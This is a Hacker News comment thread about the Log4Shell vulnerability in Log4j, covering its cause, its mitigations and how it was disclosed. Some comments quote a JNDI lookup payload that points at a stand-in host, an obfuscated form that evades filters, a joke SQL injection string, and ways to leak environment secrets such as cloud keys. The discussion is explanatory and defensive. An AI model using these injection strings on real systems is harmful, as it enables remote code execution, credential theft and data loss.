Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide | Hacker News Reader

Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide

techsolvency.com

303 pointsweinzierl195 comments

I have taken some flak over the years for rolling my own basics like logging, telemetry, tracing, authentication, session management, etc...

Incidents like this remind me that it is sometimes OK to ignore those who constantly order you to "vendor it out" over some notion of principled development excellence wherein one never reinvents a single hypothetical wheel. Arguably, writing text to a log file on disk is a simple thing you dont want to keep implementing over and over. But, it is also a simple thing that doesn't take a whole lot to do correctly in many use cases.

DIY (in aggregate) would represent one of the largest barriers to any attacker producing a wormable/DDOS exploit of this log4j-style vulnerability. Imagine ten thousand plus unique implementations for how to get a string to disk and I can almost assure you that not one of them would contain an attack vector like this. Even if one of them did, the other 99.999% of implementations would be unaffected and nothing would have made the headlines.

Depending on the code paths that others have developed is the biggest liability in all of software engineering. We are going to have to get better at evaluating this cost relative to the benefits. This doesnt stop with Log4j. There are other things more ubiquitous and more complicated out there still. IMO, the best we can do is to stop producing new software that is exposed in these ways.

Given many of the engineers i have worked with and much more importantly the PMs and Managers that work over them, I would expect vulnerabilities like this to proliferate all over the place if people were to roll their own logging and telematry and especially authentication.

I mean SQL injection is such an easy known mitigation yet is still on the OWASP top 10 even after so many years.

Yes, people still forget to

  ; delete from comments where id = 29544262 */--

sanitize their inputs.

...still there?

The humor here is that sanitizing inputs is not the proper mitigation.

but? It think it's far deeper than mitigation, it's the solution.

Edit: I apologize for getting 'sanitation' wrong. Don't do it.

The proper solution to SQL injection is parameterized queries, not input sanitization, to my knowledge.

The irony here is that if you use the log4j equivalent of parameterized queries, parameterized logging strings, you're still vulnerable to this CVE, even if you did everything right.

For databases you simply parametize the inputs so that code is code and data is data and there's no mixing of the two.

Sanitization is a defence of last resort when you simply can't separate code and data. Usually used for user content on the web since HTML has no formal mechanism to separate code and data because the angled brackets that do this separation are also valid user input.

But databases do have a way to separate the query from the data. Parametize your queries.

Indeed. That's enforced system boundaries.

> sanitize their inputs.

For anyone confused about why "sanitizing your inputs" isn't the right approach, please read (shameless self-promotion, but I think the concept is important): https://benhoyt.com/writings/dont-sanitize-do-escape/

I've pretty much always taken 'sanitize' as a catch-all for all of the things you need to do.

Fair enough on that part. But it's the "their inputs" part that's just as problematic: whatever massaging you do to your "inputs", they'll always be unsafe in some contexts. You need to encode/escape your output.

it's all about system boundaries. Would you have arbitrary racoons in your closet?

It seems like you're saying that I should let the racoons out of my closet. I'll consider it, but then getting my clothes every morning will be a lot less exciting.

On the other hand, you don't know what vulnerabilities are hidden in your own code and just haven't been discovered yet, and you're one fuzzing attack away from a vulnerability being discovered/exploited.

What if there are none?

It's not like library code is some magical stuff that only senior principal ninja 10x developers can comprehend

Not everything is don't roll your own crypto.

> Not everything is don't roll your own crypto.

Even for crypto, I have had people give me trouble for daring to use Microsoft's public & documented implementations of SHA256 and CSPRNG to derive session secrets. It's almost as if directly interacting with any crypto primitives is tantamount to rolling your own crypto these days.

But splat 20 lines of obtuse openssl commands into a bash script and no one bats an eye!

>What if there are none?

The problem is that "There are no bugs" approaches an unproveable statement as a codebase grows into even a modest size. It doesn't matter if you're a 10x developer or not, you aren't always going to immediately see all the implications and edge cases of a few hundred++ (at least) moving pieces the first time around with new code, and each additional piece adds a non-linear amount of complexity.

That doesn't mean you never roll your own version of something, it just means that you should either be very very good or have a lot of experience (or both) when making that decision for anything that's non-trivial. (And deciding what is/isn't trivial is its own decision too)

you're in responsibility land then. That's not where they buy IBM to avoid getting fired.

You get paid not for being smart, but for just doing responsibility for standard engineering. Plain craft. And do it seriously, not for admiration but payment.

Ah, responsibility land. More freedom to do as you want, and more risk because you can make mistakes and then have to face the consequences. Though it also often means you get to work on things that are a bit more interesting as well.

youre doing something incredibly wrong if there is a threat that your system can be taken over by logging. and java enterprise object store late bound remote naming system registry garbage non-solutions to non-problems are the thing that is being done incredibly wrong here. your opinion is literally just an admission that you misunderstand basic software engineering principles like pretty much all programmers

edit: on second thought, your sentiment makes sense in your world where most programmers live where most libs are doing asinine stuff because some enterprise dude needs it for his use case which could have been solved 500 other more saner ways. in that world, yes, you should always be afraid of anyhing, even a printf (hint hint DOTS soon)

You don't know what my world consists of, so I'm not sure where that comment comes from.

My comment was addressing the general sentiment from the GP regarding the potential presence of bugs in software, not the log4j issue in particular-- plenty if other have done that and I won't rehash it.

And of course your comment seems to ignitre the part of mine where I say that rolling your own version of something can be okay, but it's a decision to be made very carefully, along with my implication that trivial things are a different category. (your printf straw man would be about as trivial as it gets, so you're not making a string argument against my comment here)

And this is not just for issues of bugs, but also time and resources. Why spend your time writing a complex library for something that is not part of the core of your business if a well established OSS alternative that has had countless eyes reviewing the codebase, and it can do all you need? I don't go rewriting grep or other utilities. I don't roll my own equivalent of a nearly decade old library like python Requests. I use well established tools from trusted sources and then get down to my real work.

This is pretty much how most professions go about their jobs: use established tools, get to work. If there's a difference it's that many other engineering disciplines have had more than ~75 years to refine their established processes and basic tools.

Also, code written for libraries often need to factor in far more use cases and edge cases than code used for one part of your app. Its not too far fetched to say that there might not be any when you write your own because it might be significantly less encompassing.

It really depends on the code. Proprietary custom code of course is less reviewed, but can also be much simpler and have a much smaller attack surface compared to a sprawling code-base like log4j.

For me the trade-off is when understanding the complete architecture and important subtleties (often ill-documented) of a third-party library takes more time than writing reasonably straightforward custom code restricted to the current needs of the application.

For context, the log4j2 repository contains over 3,000 files and 175,000 lines of code. log4j-core alone has 1,100 Java files containing 82,000 lines of code.

That's a pretty lush habitat for gremlins.

Logging isn't an application that typically results in RCE (outside charlatan code, and yes I'm referring to people who call themselves senior enterprise architects).

you're advocating diversity against monoculture. Only nature has muse enough for such.

I feel pretty good about betting on nature in the long term. Life in general has a pretty decent track record of surviving, even when complex life forms don’t.

The argument of monoculture vs diversity may actually be a short term vs long term advantage discussion.

But it’s been too long since philosophy classes, and not enough of them in any case. :-)

Well it sure does suck to find out that you have a RCE vulnerability in your application thanks to a dependency, but I’m not sure that means it was wrong to decide to use Log4j based on the information available at the time. Having to rewrite a bunch of library code in-house is a significant burden, without a guarantee you’ll get it any more right than the Log4j developers did.

I don’t think this event is sufficiently bad to overturn the principle that code reuse is a good thing.

The better lesson is to learn how to contain the behaviour of your dependencies so you don’t end up with ridiculous situations like backend database servers being permitted to make JNDI calls to the public internet.

To take the example of log4j, I can see this going two ways.

On the one hand, I've worked at a couple places that used homegrown logging, and it's been fine. They covered all the features I use/want out of a logging framework, in only a couple hundred lines of code. I suspect that both logging frameworks even had lower TCO than their respective platforms' name brand loggers, because the greater simplicity paid recurring dividends across the whole organization.

I suspect, sometimes, that arguments against DIY being too complex have an unstated major premise that you need to implement a significant fraction of the off-the-shelf library's features. In my estimation, it's more like 10%, and then the code is only maybe 2-3%, because you also don't need any of the code for managing how the features you do need interact with all the features you don't need.

On the other hand, it's not like not using something like log4j yourself is any protection from things like this. We don't use log4j where I work, but I've still had my hands full dealing with all the other software we use that relies on it.

Exactly. Judging a decision solely by the outcome is called "resulting" and should be avoided.

> I don’t think this event is sufficiently bad to overturn the principle that code reuse is a good thing.

Are we open to the idea that code reuse is a delicate spectrum of possibilities?

I am also curious what your threshold would be for something that is sufficiently bad to force a review of these principles. Last I checked 10.0 is the highest CVSS score available.

I'm not sure that an argument from monoculture is the right way to go here. It's merely a form of security by obscurity, and probably shouldn't be the dominant factor in whether or not you take some amount of mythical man hours to roll your own code vs. adopting a piece of very well established OSS that has had countless eyes on it over the years.

How do you know yours isn't vulnerable?

On the other hand, if you roll your own logging but import a dependency for something else (you generally can't roll your own everything) and that dependency uses log4j, isn't that strictly worse from a security perspective than just using log4j everywhere? Whatever the probability of any given logging utility exposing an RCE exploit, the probability that none of your logging utilities expose an RCE exploit decays exponentially to zero as the number of unique utilities you're using increases.

I don't think that's necessarily (or even probably) true in this case, since the vulnerability only exists where attacker-controlled data gets logged. If a library is just using log4j for some diagnostic messages with no user data, there's no issue, right?

> if a library is just using log4j for some diagnostic messages with no user data, there's no issue, right?

Depends on the diagnostic messages and how you use the library. If exceptions are being logged with any level of detail, and an attacker has the ability to provoke exceptions while varying error message content, then the thing that seems safe was just made quite unsafe.

The way I would look at it - If log4j methods are being invoked on any logical threading context which is serving a potential attacker, then you have something you need to investigate for safety. This is not a complete scope, but it is the most immediate because of the feedback loop being instant for an attacker. Other flavors of this attack could involve nightly log shipping and other batched procedures being poisoned with nasty messages, but these have longer cycles and will take more time to compromise.

> If exceptions are being logged with any level of detail, and an attacker has the ability to provoke exceptions while varying error message content, then the thing that seems safe was just made quite unsafe.

Right, I would certainly include that in "user data" though. I was mainly responding to the idea that using two logging libraries is strictly worse than one: when log4j is only used for logging safe data, and another library elsewhere, this is better than using log4j everywhere.

Only if you send just as much untrusted input there as to your DIY logging. If it's a transitive dependency that's unused or that's only used for some logging happening on calls to that library, the risk is lower.

To be fair, log4j offers more than to write a file on the disk. Logging is also quite relevant for performance as these I/O operations are a bottleneck in many applications.

I think we cannot prevent bugs like this, but mitigation has to become easier.

After reading about this Log4j thing I realize it's not a bug. The vulnerability is due to a feature being exploited by the attacker. I'm not even going to qualify that by saying "exploited in unexpected ways" because it's being used exactly as intended. It seems the people who added and use that feature never took the time to ask "how can this be used nefariously?" That's not a criticism, most developers focus on how something is going to do what they want and not really consider ways to abuse it. But this was documented and in plain sight if you think about it.

> After reading about this Log4j thing I realize it's not a bug.

It's an exploit and shouldn't be a "feature" at first place.

It does matter, because it helps to think about how to prevent these things in the future.

Again, the point is, whether it is a bug or not is irrelevant. It's an exploit and should be patched. If it was deemed a "feature" then it needs to be removed. There is nothing hard to understand here.

I was referring to the "it doesn't matter" part of your comment, which you have now removed? Of course you're right that it doesn't matter what the underlying reason was and how it needs to be dealt with NOW.

Since you focused on the wrong part of my comment I edited it yes. My previous answer makes it clear what I was talking about.

The patch seems to be disabling the feature by default. Not a great fix.

That should be taken as a criticism. Security is critically missing from consideration in many designs.

In my experience, many teams have a "security" person that they rely on to make security judgements. That's broken. Security should be thought about by everyone, especially in a world with so many malicious actors (and growing)

Couldn't agree more. In the end security is a critical specification just as the intended use. So then why is this kind of thinking not pushed harder? Its at least as critical as program correctness testing in the end and should therefore be treated similarly.

>> That should be taken as a criticism. Security is critically missing from consideration in many designs.

You're right. I probably wanted to excuse my own guilt ;-)

I'd reluctantly agree with you if it was safe to 'log.debug("{}", data)'. My understanding, though, is that is also impacted.

In cases like this I think it's usually a collection of changes that result in the vulnerability. Someone adds support for format strings in a config. Then later someone else says "hey, what if we expanded format string support so that they can be interpolated in log strings" and at that time this didn't present a risk since the strings didn't support commands. Then someone else says "wow, what if we added support for commands to our format strings", not realizing that they now are also interpolated in log strings.

I'm not saying this is exactly what happened, but I've seen it often enough.

> A project with a footprint like Log4j is not possible to avoid as a transient dependency even if you don’t directly import it.

But it’s often still possible to use a different backend, via the Log4j to SLF4J adapter: https://logging.apache.org/log4j/2.x/log4j-to-slf4j/

I believe this is the default in Spring Boot. Logback is used by their starters (see https://docs.spring.io/spring-boot/docs/current/reference/ht...).

Yes, recent Spring-boot projects include log4j-to-slf4j, slf4j-api, logback-core and logback-classic which AFAIK are not vulnerable.

Does this routing happen before or after log4j would be exploitable? Like if log4j is still running its parser and doing all the crazy stuff, but then routes to some other logger, it doesn't matter.

The routing happens before. The vulnerability is due to processing in the log4j back-end, after normal message formatting.

Got it, thanks.

Not a Java programmer, I still don't really understand how the ability to inject a JNDI lookup to your sever results in an RCE.

OK, an attacker can inject a JNDI lookup, and can control what the JNDI lookup via LDAP returns... I would have thought that whatever it returned would just get inserted as a string into the log output, no big deal. But a remote JNDI lookup can return code that gets executed on the local site somehow? Can anyone explain this?

update this is the best explanation I've found: https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Inj...

The Behavior section in this link explains it in detail: https://en.wikipedia.org/wiki/Log4Shell

"Among the recognized expressions is ${jndi:<lookup>}; by specifying the lookup to be through LDAP, an arbitrary URL may be queried and loaded as Java object data. ${jndi:ldap://example.com/file}, for example, will load data from that URL if connected to the Internet. By inputting a string that is logged, an attacker can load and execute malicious code hosted on a public URL. Even if execution of the data is disabled, an attacker can still retrieve data—such as secret environment variables—by placing them in the URL, in which they will be substituted and sent to the attacker's server.

Because HTTP requests are frequently logged, a common attack vector is placing the malicious string in the HTTP request URL or a commonly logged HTTP header, such as User-Agent. Early mitigations included blocking any requests containing potentially malicious contents, such as "${jndi". Naive searches can be circumvented by obfuscating the request: ${${lower:j}ndi, for example, will be converted into a JNDI lookup after performing the lowercase operation on the letter j. Even if an input is not immediately logged, such as a first name, it may be later logged during internal processing and its contents executed."

Log4J 1.x was deemed safe because it does not offer the lookup mechanism that Log4J2 v2.x does. It always remains a String, no matter what, unlike v2.x where you can load serialized objects via lookups.

Source: https://twitter.com/ceki/status/1469449618316533762

Log4j 1.x is safe from THIS exploit, but reading https://logging.apache.org/log4j/1.2/, there was an exploit discovered 2 years ago that was never fixed on the official branch (https://www.cvedetails.com/cve/CVE-2019-17571/). There is a workaround of disabling SocketServer so it won't be exploitable, but I believe 1.2.17 still has an RCE in it by default.

> There is a workaround of disabling SocketServer so it won't be exploitable, but I believe 1.2.17 still has an RCE in it by default.

Sorry if I'm being dense, but wouldn't the workaround be not enabling SocketServer? AFAIK, it's not used by default, it's something you have to decide to use explicitly.

The two examples showcase the potential of the RCE. The JNDI endpoint answers with a serialized java class:

a) https://github.com/Cybereason/Logout4Shell where a class is self-healing the log4j vulnerability by reconfiguring it

b) https://twitter.com/marcioalm/status/1470361495405875200 where the payload is opening an application (calculator) on the host system

JNDI supports distributed objects (think CORBA). The client receiving a serialized object of a given (sub)class may not have the class implementation locally available needed to deserialize the object and to execute its methods. The server sending the object may therefore helpfully provide a URL where the class’s byte code can be downloaded. The client can then download the code and execute the object constructor etc. This all assumes a trusted infrastructure, and in principle it can be restricted to such an environment by configuration. It’s just that the default configuration didn’t restrict anything.

> whatever it returned would just get inserted as a string into the log output, no big deal.

Once you can inject anything that gets resolved, you have an information disclosure vulnerability unrelated to the RCE.

If I can just DNS resolve any ${env} variable from the JVM, a lot of systems are compromised by just exposing the env or system variables configured for runtime.

Just getting your $AWS_ACCESS_KEY_ID and $AWS_SECRET_ACCESS_KEY env vars can compromise your bucket (sure, that is a really unsafe setup now, but it was almost the standard a few years ago over configuring it explicitly).

So a logging system which will merely resolve a hostname derived from a variable was bad enough to compromise many systems.

The serialization loophole was fixed in a jdk8 update.

https://github.com/openjdk/jdk8u/commit/006e84fc77a582552e71...

But even with that in place, the information disclosure of java System or env properties is bad enough to break actual systems in prod.

This is actually next level exposure, but I saw people trying to identify Tor node IPs using this method and geolocate them.

Ideally, log4j should not have the ability to make "outgoing calls" right?

It has been years since I used it but I can't remember a valid reason why it should be allowed to do so.

Since it is running inside the stack it may not be easy to enforce it. If the "client" log4j does it before even logging that is a bother.

It seems like having a "central" "syslog" logging server.

Traffic goes from the stack -> logging server. Logging server not allowed to call anyone external.

> Ideally, log4j should not have the ability to make "outgoing calls" right?

What is the intended scope of log4j? I spent some time looking over the source code and cannot fathom why something that logs information would need to become this complicated.

Welcome to the Java ecosystem. Please enjoy your stay.

> I spent some time looking over the source code and cannot fathom why something that logs information would need to become this complicated.

That's easy: because software development is complicated. If you look at the ticket where this was added[1], it seems like a reasonable request for something a very featureful logging library might do. Other logging frameworks[2] already supported this feature.

It's easy to armchair quarterback and say the feature shouldn't have been added, but the reality is an old project like this that's used by many large enterprises with specific requirements is going to naturally bloat as it ages.

Anyone who's been in software dev long enough has experienced this. You build a super-simple internal tool or library that does solves a specific problem you have. It starts getting used. Then you get a feature request from Department A to do something slightly different. Department B says you need to integrate the tool with their new CRM platform. The security team gets involved and says you need to integrate auditing of your tool's usage into their metrics. etc...

For Apache/log4j, it's not just multiple departments, but a wide array of companies across the entire world. It's very easy to explain feature bloat.

[1] https://issues.apache.org/jira/browse/LOG4J2-313

[2] http://logback.qos.ch/manual/contextSelector.html

Yet the exact same kind of feature for Logback requires _explicit opt-in_ on the part of the application developer, via a system property (`logback.ContextSelector=JNDI`) that _must be set before Logback is first instantiated_. If you want custom behavior then you, the application developer must write extra configuration or even code in order to wire Logback into your system correctly. Logback doesn't attempt to make this work for everyone for everything. It's a library. Log4J implemented the same thing and tried to make it Just Work for everyone. Unfortunately, that "everyone" includes people who are not even legitimate end-users of the application. Make the hard cases "possible", don't try to make them "easy" (especially not without several solid use-cases around "hard-but-should-be-easy".)

Oh yeah don't get me wrong, the implementation wasn't great. It should have been opt-in at a minimum, and in some kind of separate extension ideally. But there's been so much incredulity in these comment sections about the log4j issue, as if it were totally obvious that the feature was inherently bad and should have never been in an enterprise logging framework, which I don't think is true.

All software projects must grow in complexity until they include a DSL. Or make outgoing arbitrary network calls.

fwiw Python's logging module is a port of a very old log4j version (think 2000 vintage) and is already too complicated with unnecessary abstractions and features, yet is also physically incapable of commonly needed features (like scoping logging, buffering logs for errors, selecting which formatting type to use etc.) ... like many Python libraries from that time period when top Python brass was imitating Java heavily, it's really quite bad but also "the standard".

That would help but it isn't enough. You can still load classes from your class path, and then those would make the calls instead. And log4j does have valid reasons to read/write to files, naturally.

But yes, I think a major issue here is a logging library packaging its own meta language that can trigger side effects.

The main design mistake in log4j is that it performs ${…} substitution on the complete log message by default. There’s no way for application code using the log4j front-end API to have input data containing such strings be logged verbatim, without nonstandard log4j back-end configuration (someone correct me if there’s actually a way). In principle, each application has to sanitize all strings to be logged by stripping/escaping all log4j substitution syntax from them, to prevent unexpected substitutions.

Why did the substitution syntax ever even allow JNDI calls?

I mean seriously, who thought this was a good idea? It's about as dumb as allowing a SQL server to execute shell commands or read/write directly to files, or for XML documents to allow external entities that can fetch from URLs or local files.

Even worse is when these gaping security holes are enabled by default.

See the description here for the rationale why JNDI support was added: https://issues.apache.org/jira/plugins/servlet/mobile#issue/...

Nobody there seemed to be aware that the log message text itself is also subject to lookup syntax interpretation and that this would be dangerous given that JNDI also allows remote code-base download and execution from the specified URL.

Except this particular issue has nothing to do with LDAP! It's perfectly reproducible with RMI for example, another JNDI supported protocol. So much so that the initial RC1 patch was an IF for LDAP, and it was obviously bypassed in seconds.

You are right, I edited my comment now.

That page requires a login.

Only intermittently, try reloading the page.

What info does your link provide that the other canonical url for "LOG4J2-313" does not? The url people usually copy&paste that doesn't require a login is:

https://issues.apache.org/jira/browse/LOG4J2-313

It seems my link is the mobile version. I'm currently on mobile, that's why. I can't edit the original comment anymore unfortunately.

The main design mistake is including it, by default, in the first place, rather than requiring you to specify some kinda custom appender or whatever.

The idea that a logging framework could lead to an RCE like this is completely bonkers. The vast majority of users just want to log straightforward data.

I think it’s okay to allow specifying such substitution variables in the log pattern syntax specified in the logging configuration, but not interpreting the log message strings provided by the application, and certainly not on log message parameters.

> without nonstandard log4j back-end configuration

By "nonstandard" do you mean different than default settings? It looks like they changed the default as of v2.15: https://issues.apache.org/jira/browse/LOG4J2-3198

For earlier versions (2.10+) it looks like there's a single setting you can toggle to prevent the lookup behavior:

log4j2.formatMsgNoLookups=true (or env var LOG4J_FORMAT_MSG_NO_LOOKUPS=true)

Correct me if I'm wrong, but this means that an application with version 2.15 installed can still be vulnerable, yes?

Not really, because log4j now restricts JNDI-LDAP queries to localhost by default, or to an explicitly configured list of hosts. An attacker would have to have access to the application configuration or start script.

No, you are still vulnerable, even with just what we know today and we're still finding more ways to break this library.

1. Attackers can still load code in your class path.

2. Attackers can steal environment variables, VM information, system information, etc.

3. The issue isn't specific to LDAP in any way, that was just a particularly brutal way to exploit this vulnerability. There are other ways to achieve RCE.

We may find even more ways to attack this in the future. It is absolutely not a good idea to assume you're safe right now - if you have log4j in your dependency tree, you should keep a close eye on the discourse as it evolves.

edit: I'll just say that I think it's really premature to tell anyone that they're safe.

As far as log4j is concerned, the substitutions ("lookups" — this includes your #2) are now disabled by default, and can only be enabled by an attacker if he already has access to the application. I’m not sure what you’re referring to in #1 and #3, given that fix.

Yes, it’s good that they changed the default now. But it’s still a design mistake that they can’t distinguish between the log pattern, log message format and logging parameters. If you turn it on, it’s turned on on everything, because the substitution is performed as the last step.

Apparently the intention was to add the ability to parse random crap one might wish to put in config files, including things like pulling a string out of a JNDI reference, system variables (maybe environment variables?); the person making the change did not understand that the scope extended into actual log printing as well.

I probably spend more time grepping dependencies than googling for fixes. Scope kills.

Personally I'd like to see more runtimes with some concept of capabilities. As a user, I'd like to be able to say "this package cannot make outbound calls" rather than doing so at the program or host grain via layer 3 or layer 7 firewall rules. I think maybe Deno allows this, and I wouldn't be surprised if JVM or .Net did as well.

Failing that, it would be interesting to see this implemented as a linter--low level I/O and HTTP functions are annotated such that callers must have the appropriate capability annotation in order to call them. This wouldn't prevent a nefarious library publisher from making HTTP requests through an FFI or an alternate HTTP library unknown to the linter, but it would prevent attackers from exploiting bugs/misfeatures in libraries as in this log4j case.

That’s pretty much what the Security Manager is for, which Java has had since the 1.0 version. However it was rarely applied outside of Java applets, and is scheduled to be removed [0] because it is difficult to apply effectively and doesn’t cover all types of vulnerabilities.

[0] https://openjdk.java.net/jeps/411

> Personally I'd like to see more runtimes with some concept of capabilities. As a user, I'd like to be able to say "this package cannot make outbound calls" rather than doing so at the program or host grain via layer 3 or layer 7 firewall rules. I think maybe Deno allows this, and I wouldn't be surprised if JVM or .Net did as well.

Unfortunately both of these platforms have removed their security controls - the JVM's SecurityManager[0] was deprecated and recent versions of .NET have dropped sandboxing. [0] https://openjdk.java.net/jeps/411

You should do it on the network _anyway_. You want multiple layers because you often find that any given layer was not as robust as you assumed.

This doesn’t work. I often want my app to be able to talk over the network, but I want to restrict my logging library from making network calls. You can’t do this at layer 7 much less layer 3. But firewalls at those layers still obviously serve a purpose, just not this purpose.

Your app shouldn’t be talking to randos injected from the outside. This is trivial.

"webhooks"

Sorry, that's not a good answer. That server needs to be locked down, absolutely, in terms of __what kinds of requests it can originate__ and what is reasonable for that request to carry. Otherwise you can end up participating in a relay attack.

> Ideally, log4j should not have the ability to make "outgoing calls" right?

If it's in the application execution context, it will have the same abilities.

If your middleware needs to make calls to third-parties, and it uses log4j, the log4j code has the same rights as the middleware app.

If you're using a registry like Nexus, and it uses log4j, then it also has the ability to make calls to Maven repos, pypi repos, and anything else that Nexus can reach.

And so on and so forth.

Essentially you're expecting there to be privilege separation, where there is none.

Suppose that even if it needs this for some kind of log transformation pipeline, there's still absolutely no reason for the jvm process in which this code is running to be able to reach out to some random internet location. Do people just not put strict segmentation in place? If so, for the love of god, why? It's not that hard and it is a very useful baseline.

Generally, when the boss asks you which logging library your Javaland project uses, the answer is "all of them."

Discovered one legacy project which did jboss logging -> log4j-over-slf4j -> slf4j -> logback

For what the project used it for, jboss logging could have been replaced with direct slf4j usage, and even if it hadn't, supports slf4j directly so that was a headscratcher

At least it avoided the current vulnerability that way. :)

I love this kind of can-kicking technical debt. Why refactor the logging when you can just throw more into the mix?

I'm not a security researcher, so I'd like to know if (probably "why") this is a bad idea:

It seems like there should be some intermediary stage between logging the vulnerability & full public disclosure. Something like a partial public disclosure that says "Hey, we have a CVSS 10 about to come down on Log4j, everyone carve out a chunk of time to get their systems fixed when we publish to full disclosure & patch."

And security & sysadmins around the world can get ready to work before exploits can get too much of a hold.

It's a bad idea because that would leak, and then you'd have bad actors exploiting a zero-day prior to day zero.

Vulnerability researcher here.

It's really hard for vulnerabilities as simple as this one to stay under wraps. When the patch went out 9 days ago [1], many vulnerability researchers were able to look at it and identify the root cause within minutes. Exploits started going out over a week ago before the CVE was released. Good security orgs that can hire skilled vulnerability researchers started patching on December 6th/7th/8th. All the chaos started on December 9th when people started leaking the poc on twitter.

The same thing happens to google chrome when they release a patch for a security vulnerability. Very skilled researchers can produce a POC and exploit given the patch alone [2]

The same thing happens even with embargoes like the one you describe in place.

[1] https://github.com/apache/logging-log4j2/commit/d82b47c [2] https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome...

Not a ton of benefit here, because drawing attention without having the patch fully ready means more eyeballs looking. More eyeballs means someone inevitably finds and exploits/publishes before it can be mitigated.

How do you decide who to trust? Those same sysadmins in the loop could exploit it on deployments at companies out of the loop.

If that happens, it might even be construed as a criminal conspiracy.

The number of consumers of Log4j would mean that theres not much difference, if any, between the partial disclosure and full public disclosure. Plus, whats to stop one of the partial disclosure recipients just leaking it to the rest of the world anyway?

Embargoes have a pretty terrible track record going all the way back into the mid-1990s. They were a bad idea before reverse engineering patches became de rigueur; they're a much worse idea now that exploit developers are heavily tooled up to analyze patches. As soon as you publish a fix for a vulnerability, you've effectively published the vulnerability.

Site author here. Thanks for helping to get the word out - every bit may help someone.

While I consider my page to provide useful color, and I validate and summarize and cache info updates locally to add value ... it won't scale for long. It's really a stopgap - to buy defenders time until better efforts emerge.

A few efforts likely to become higher leverage than mine, because they can be driven by pull requests:

* https://github.com/NCSC-NL/log4shell - already quite comprehensive

* Whatever CISA may spin up - https://github.com/cisagov/log4j-affected-db

* Kevin Beaumont (@GossiTheDog) - turns out he worked with CISA on this

That being said, I'll keep working on mine as long as it still provides value; updates/corrections welcome.

What about desktop application vulnerabilities? There are quite a few applications built with java, which include log4j.

JetBrains IDEs are probably affected.

Why would you even call that out when you don't know? Just because it uses Java does NOT mean it uses log4j. None of Jetbrains IDEs are affected btw.

They contain (among many other things) a log4j copy with the vulnerability, so saying they might be affected isn't unreasonable.

No, it is unreasonable. It's baseless speculation, which is easily disproven [0]

[0] https://intellij-support.jetbrains.com/hc/en-us/community/po...

Graylog was affected. Patched soon after the notice went public and not even a handful of hours later I saw some hits on the public web docker runner. Feel like we just barely dodged this one.

They are listed.

Biggest one is probably the Minecraft client

> Minecraft users were using it to execute programs on the computers of other users by pasting a short message in a chat box.

https://www.ctvnews.ca/sci-tech/the-internet-s-on-fire-as-te...

Last night, we kept getting disconnected from HyPixel on Minecraft 18.1 client. I wonder if they check for the vulnerability and boots people? Although 18.1 should be fixed. When we added the log4j JVM flag mitigation, we stopped getting booted.

I was going to talk about software engineering being different because you have to build like you're in a nuclear war all the time. But, this sort of thing happens in other industries. Remember asbestos or leaded fuel, or CFC's.

I think doing a retro on the feature and asking why a logging systems needs to have so many features may be a question worth answering. Because there's tons of dependencies I use, where I want 15 to 10% of the features and the rest is just the library developers building hyper niche use cases or avoiding other work. So I expect there's a ton of other features waiting for this kind of CVE to emerge.

I'm curious about the disclosure of this vulnerability and why it seems that no prior notice appears to have been given by the researcher who published it. Is it because it was already being exploited in the wild?

Me too

> The vulnerability was privately disclosed to Apache by Alibaba's Cloud Security Team on 24 November 2021 and publicly disclosed on 9 December 2021.

https://en.wikipedia.org/wiki/Log4Shell

It was being exploited in the wild at least as early as Dec 1st (based on log analysis I've seen). The rate of attempted exploits went WAY up after the 9th.

That still seems like an extremely small window of time to remain on the good side of "responsible disclosure" for a vulnerability of this magnitude. The fix was only released 3 days before public disclosure.

From what I read the patch is public and when someone saw it figured it out and publicly shared it.

Embargoing is very tricky and often harmful. Attackers know how to catch embargo'd vulns, it's often really easy, like in the case of the Linux kernel. If attackers have advanced notice you're only hurting defenders by hiding things from them.

We know that two weeks before disclosure there are attacks using this exploit. Somehow had clearly figured it out, so hiding it was only going to cause problems.

Vulnerability researcher here. This vulnerability was patch-gapped before it was disclosed.

When the patch went out 9 days ago [1], many vulnerability researchers were able to look at it and identify the root cause within minutes. Exploits started going out over a week ago before it was publicly disclosed and the CVE was released. Good security orgs that can hire skilled vulnerability researchers started patching on December 6th/7th/8th. All the chaos started on December 9th when people started leaking the poc on twitter.

The same thing happens to google chrome when they release a patch for a security vulnerability. Very skilled researchers can produce a POC and exploit given the patch alone [2]

[1] https://github.com/apache/logging-log4j2/commit/d82b47c

[2] https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome...

Thanks, that explains things. I guess I was confused by it being called here and there a "zero-day" - if it's the patch that triggered exploitation, then at least it was already fixed at head by the time it got exploited.

My workplace uses a vendor potentially impacted by ransomware as the result of log4j. When asked, the vendor-- Kronos-- did not deny it as the issue [0], and we ourselves have not received any more substantive answer. Although they may not yet know the attack vector so I wouldn't read too much into it yet. However, regardless of the Kronos cause, I will not be surprised if the next year or so brings a strong uptick in ransomware.

(As a side note, this isn't a great time-- right before Christmas-- to have issues that could impact paying employees on time. Fortunately my workplace doesn't have many of our employees in in this system and Business Continuity can be achieved more easily by temporarily using plain old paper & manual processing than spending time on a temporary technical work around)

https://arstechnica.com/information-technology/2021/12/as-lo...

This might be a stupid question, but is it possible to airgap all classes running in the JVM from the network except for those you trust?

For example, I want to block all classes from opening sockets except those in my.company.domain.* packages.

Yes, it's called a firewall. Anybody developing high security applications should limit outbound connections from their production servers to what's absolutely necessary.

It seems to have worm like capabilities. Right now it seems to spread. Who knows what will happen after? It's a bit of race against the clock. I found this library to be used somehow. https://github.com/projectdiscovery/interactsh

They seem to exfiltrate data. If you see these files hosted in your projects, then you are probably part of it now.

Am I understanding this correctly. You are vulnerable if you log user input, for example especially if it is on a public facing API.

You read it right. Just a simple curl can infect your system. Your api can be behind multiple layer of security and still it will reach log4j and infect your system.

You should never be logging user input non-escaped anyway. At the very least, that creates a hazard where someone might be fooled as to the correct behavior/false-internal-systems-corroboration by logging something misleading that masquerades as a legitimate log message. It is a _huge_ hazard.

so is it:

-Dlog4j.formatMsgNoLookups=true

-Dlog4j2.formatMsgNoLookups=true

? Every project seems to list one or the other, even this cheat-sheet seems to list both in a random way...

Log4J version 1.x met end-of-life in 2015 [1]. Of course, that's only 6 years ago, so there are still projects out there running it. It would look for -Dlog4j.format... and would not know about -Dlog4j2.format... or, hypothetically, -Dlog4j3LTS.format...

Environment variables targeting Log4J version 2.x should get the prefix "log4j2.*" [2] so the latter is correct.

